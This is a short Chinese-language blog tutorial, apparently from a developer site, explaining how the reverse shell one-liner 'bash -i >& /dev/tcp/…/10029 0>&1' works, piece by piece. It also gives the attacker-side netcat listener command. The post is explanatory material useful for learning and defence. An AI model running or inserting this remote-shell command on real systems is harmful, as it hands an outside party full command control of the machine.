反向Shell(Reverse Shell)

目的是让目标机器(执行这条命令的机器)主动连接到攻击者控制的服务器,从而让攻击者获得一个远程命令行 shell 控制权限

解这个命令:bash -i >& /dev/tcp/192.168.31.111/10029 0>&1

  1. bash -i

    • bash: 启动 Bash shell。

    • -i 参数:强制 Bash 以交互式(Interactive) 模式运行。这意味着它会提供一个提示符,并且可以接收用户输入,这是获得一个完整 shell 的前提。

  2. >& /dev/tcp/192.168.31.111/10029

    • 这是整个命令的核心,利用了 Bash 的一个特性。

    • /dev/tcp/<IP>/<Port>:在 Linux 中,这是一个特殊的伪设备文件。当你对它进行读写操作时,Bash 实际上会在底层建立一个 TCP Socket 连接,而不是真正地去读写一个磁盘文件。

    • 192.168.31.111:这是攻击者机器的 IP 地址。目标机器会尝试连接这个地址。

    • 10029:这是攻击者机器上监听的端口

    • >&:这是文件描述符重定向的简写,等同于 &>。它的作用是将标准输出(stdout, 文件描述符1) 和标准错误(stderr, 文件描述符2) 都重定向到后面的目标。

    • 所以,这部分的意思是:将 Bash 的所有输出和错误信息,都发送到与 192.168.31.111:10029 建立的 TCP 网络连接中去

  3. 0>&1

    • 0 代表标准输入(stdin),即键盘输入。

    • 1 代表标准输出(stdout),即屏幕输出。

    • 0>&1 的意思是:将标准输入(0)重定向到标准输出(1)的当前位置

    • 由于上一步已经把标准输出(1)重定向到了网络 socket,所以现在标准输入(0)也会被重定向到同一个网络 socket。

整体效果:
执行这条命令后,目标机器上的 Bash 会:

  1. 主动与 192.168.31.111 的 10029 端口建立 TCP 连接。

  2. 将这个网络连接既当作自己的“屏幕”(输出),也当作自己的“键盘”(输入)

  3. 这样,在攻击者的机器上(192.168.31.111),只要有一个程序在 10029 端口监听,就能收到这个连接,并获得一个完全交互式的 Bash shell,可以执行任何目标用户权限允许的命令。


攻击者需要做什么?

为了让这个反向 Shell 生效,攻击者必须提前在自己机器上(192.168.31.111)设置一个监听器(Listener)来接收这个连接。

最常用的工具是 netcat (通常简称 nc):

在攻击者机器上执行:

nc -lvnp 10029

    -l: 监听模式

    -v: 显示详细信息

    -n: 不解析域名

    -p 10029: 指定监听端口

    执行此命令后,netcat 会等待传入的连接,一旦目标执行了那条反向 Shell 命令,netcat 就会接收到连接,攻击者就获得了 shell。

    评论
    添加红包

    请填写红包祝福语或标题

    红包个数最小为10个

    红包金额最低5元

    当前余额3.43前往充值 >
    需支付:10.00
    成就一亿技术人!
    领取后你会自动成为博主和红包主的粉丝 规则
    hope_wisdom
    发出的红包
    实付
    使用余额支付
    点击重新获取
    扫码支付
    钱包余额 0

    抵扣说明:

    1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
    2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

    余额充值